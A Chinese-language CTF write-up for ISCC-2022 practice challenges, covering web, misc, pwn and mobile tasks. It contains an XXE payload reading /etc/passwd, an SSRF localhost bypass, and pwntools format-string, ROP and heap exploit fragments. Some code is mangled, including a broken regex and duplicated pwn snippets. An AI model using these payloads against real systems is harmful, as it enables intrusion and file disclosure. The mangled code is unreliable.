ISCC-2022 练武题部分wp
字数 1221 2025-08-06 23:10:31

ISCC-2022 练武题解析与教学文档

0x01 Web 部分

Web3 爱国敬业好青年-2

解题思路:

  1. 查看网页源码,关注关键点:
    • change 返回 open
    • flag 返回方法错误
    • 需要先提交 changeopen 后再获取 flag
  2. 坐标使用北京天安门的坐标(纯猜测)

代码审计要点:

  1. 通过文件包含读取关键文件
  2. 计算PIN码实现命令执行
  3. 修改cookie从0到1获取参数提示

关键代码分析:

def geneSign():
    if (control_key == 1):
        return render_template("index.html")
    else:
        return "You have not access to this page!"

def check_ssrf(url):
    hostname = urlparse(url).hostname
    try:
        if not re.match('https?w.da-fA-F]{2}))+', url):
            raise BaseException("url format error")
        # ... SSRF防护检查逻辑 ...
    except BaseException as e:
        return False, str(e)

利用方法:

  1. 构造127.0.0.1的base64编码:/index?url=http://@mti3ljaumc4x
  2. 根据提示更换cookie和路由找到登录界面
  3. 利用XXE漏洞:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user><name>&file;</name><password>123</password></user>

Findme

PHP原生类利用:

  1. DirectoryIterator 类:查看文件系统目录内容
$dir = new DirectoryIterator("/");
echo $dir;
  1. SplFileObject 类:提供文件操作接口
$context = new SplFileObject('/etc/passwd');
echo $context;

解题步骤:

  1. 使用DirectoryIterator查找flag文件
  2. 使用SplFileObject读取文件内容

0x02 Misc 部分

ISCC2022-星空1

解题步骤:

  1. 使用PS打开PSD文件,发现两个图层
  2. 保存为PNG格式得到顺序:13524
  3. 结合poem.txt,按此序列拼接行作为压缩包密码
  4. 解压得到对照关系表

ISCC2022-星空2

解题思路:

  1. 提示:"漫天的繁星也许是另一首美丽的诗!"
  2. 按六个符号一组分类
  3. 发现第三行和第四行一致,推测是字符'CC'
  4. 结合星空一的列表文件,字符编码最后一位对应数字

隐秘的信息

解题步骤:

  1. 使用题目给的base64解码
  2. 解密压缩包得到图片
  3. 使用Stegsolve发现隐写信息
  4. 处理隐写信息:
    • 从hex转binary
    • 去掉二进制前三位

套中套

解题步骤:

  1. 补全PNG格式并修改高度
  2. 使用winhex打开,发现base64编码
  3. 分析密码生成逻辑:
def getRandom(randomlength=4):
    digits = "0123456789"
    ascii_letters = "abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    str_list = [random.choice(digits + ascii_letters) for i in range(randomlength)]
    return ''.join(str_list)

加密算法分析:

def encrypt(msg, pubKey):
    msg_bit = msg
    cipher = 0
    for bit in msg_bit:
        cipher += int(bit)*pubKey[i]
    return bin(cipher)[2:]

解密方法:

  1. 乘上逆元r,将cipher转换为在q上的私钥运算
  2. 从最大prikey开始判断:
for i in range(len(key)-1,-1,-1):
    if enc - key[i] > 0:
        enc -= key[i]
        flag += '1'
    else:
        flag += '0'

0x03 Pwn 部分

pwn1 create_id

利用方式: 格式化字符串漏洞

from pwn import *
p = remote("123.57.69.203", "5310")
addr = int(p.recv(len("0xffefb738")), 16)
payload = p32(addr) + 'aaaaa' + "%10$hhn"
p.sendline(payload)
p.interactive()

pwn2 sim_treasure

利用方式: 格式化字符串漏洞泄露libc

payload = '%35$p'
# ... 计算libc基址 ...
one = libc_base + 0x3d200
payload = fmtstr_payload(6, {0x08049A60:one})

pwn3 跳一跳

利用要点:

  1. scanf的for循环跳出
  2. 泄露libc
  3. 栈溢出利用

关键步骤:

# 第一次泄露canary和ebp
for i in range(216):
    p.sendline(b'123')
p.send(b'0'*(0xe0-8)+p64(canary)+b'c'*8+p8(0x98))

# 第二次泄露libc
payload = b'/bin/sh\x00' + p64(pop_rdi) + p64(put_got) + p64(put_plt) + p64(main)

pwn4 Huge_Space

利用技术: House of Orange + force

# 覆盖tls控制canary
sl('\x00'*0x48 + p64(pop_rbp) + p64(0x6010c0+0x10) + p64(leave_ret))
# 构造large bin
add(0, 0x40, 'A'*0x10 + p64(0) + p64(0xd81))

pwn5 untidy_note

漏洞类型: off-by-one

# 构造堆重叠
payload = 'a'*0xf0 + p64(0x500 + 0x100 + 0x100)
add(0xf8, payload)
# 泄露libc
free(1)
free(0)
free(3)

pwn6 unlink

利用方式: 堆溢出

# 构造fake chunk
add(0, 0x40, 'a'*0x40 + p64(0) + p64(0x91) + p64(0x601018))
# 修改got表
add(1, 0x80, p64(0x6001030) + p64(0x000000000400896))

pwn7 heapheap

漏洞类型: off-by-one

# 构造堆重叠
payload = 'a'*0xf0 + p64(0x500 + 0x100 + 0x100)
add(0xf8, payload)
# 泄露libc
free(1)
free(0)
free(3)

0x04 Mobile 部分

mobile1

解题步骤:

  1. 还原hash加密顺序:
s = '=HlVsHP=gtzu2maJaJNX7fOc'
a = list('012345678901234567890123')
# ... 还原算法 ...
  1. AES解密:
cipher = AES.new(b'S0BlMjAyMiUleQ==', AES.MODE_CBC, b'SSZWMjAyMioqKg==')
plaintext = cipher.decrypt(base64.b64decode("QeCMiDUoS/PkX6a0ISs/cUeBsCz6/4V/tefaYnECMBI="))

mobile3

解题步骤:

  1. 动态调试获取AES密钥
  2. 逆向so中的getstr函数(栅栏加密)
  3. 密文分组排列组合(共24种可能)
  4. AES解密脚本:
def jie(a,e):
    for i in range(1,6):
        for j in range(1,6):
            # ... 排列组合尝试 ...
            cipher = AES.new(b'QERAPG9dPyZfTC5f', AES.MODE_CBC, b'aUBTJjg4Q2NDLg==')
            plaintext = cipher.decrypt(base64.b64decode(d))
            # ... 验证解密结果 ...
ISCC-2022 练武题解析与教学文档 0x01 Web 部分 Web3 爱国敬业好青年-2 解题思路: 查看网页源码,关注关键点: change 返回 open flag 返回方法错误 需要先提交 change , open 后再获取 flag 坐标使用北京天安门的坐标(纯猜测) 代码审计要点: 通过文件包含读取关键文件 计算PIN码实现命令执行 修改cookie从0到1获取参数提示 关键代码分析: 利用方法: 构造127.0.0.1的base64编码: /index?url=http://@mti3ljaumc4x 根据提示更换cookie和路由找到登录界面 利用XXE漏洞: Findme PHP原生类利用: DirectoryIterator 类:查看文件系统目录内容 SplFileObject 类:提供文件操作接口 解题步骤: 使用DirectoryIterator查找flag文件 使用SplFileObject读取文件内容 0x02 Misc 部分 ISCC2022-星空1 解题步骤: 使用PS打开PSD文件,发现两个图层 保存为PNG格式得到顺序:13524 结合poem.txt,按此序列拼接行作为压缩包密码 解压得到对照关系表 ISCC2022-星空2 解题思路: 提示:"漫天的繁星也许是另一首美丽的诗!" 按六个符号一组分类 发现第三行和第四行一致,推测是字符'CC' 结合星空一的列表文件,字符编码最后一位对应数字 隐秘的信息 解题步骤: 使用题目给的base64解码 解密压缩包得到图片 使用Stegsolve发现隐写信息 处理隐写信息: 从hex转binary 去掉二进制前三位 套中套 解题步骤: 补全PNG格式并修改高度 使用winhex打开,发现base64编码 分析密码生成逻辑: 加密算法分析: 解密方法: 乘上逆元r,将cipher转换为在q上的私钥运算 从最大prikey开始判断: 0x03 Pwn 部分 pwn1 create_ id 利用方式: 格式化字符串漏洞 pwn2 sim_ treasure 利用方式: 格式化字符串漏洞泄露libc pwn3 跳一跳 利用要点: scanf的for循环跳出 泄露libc 栈溢出利用 关键步骤: pwn4 Huge_ Space 利用技术: House of Orange + force pwn5 untidy_ note 漏洞类型: off-by-one pwn6 unlink 利用方式: 堆溢出 pwn7 heapheap 漏洞类型: off-by-one 0x04 Mobile 部分 mobile1 解题步骤: 还原hash加密顺序: AES解密: mobile3 解题步骤: 动态调试获取AES密钥 逆向so中的getstr函数(栅栏加密) 密文分组排列组合(共24种可能) AES解密脚本: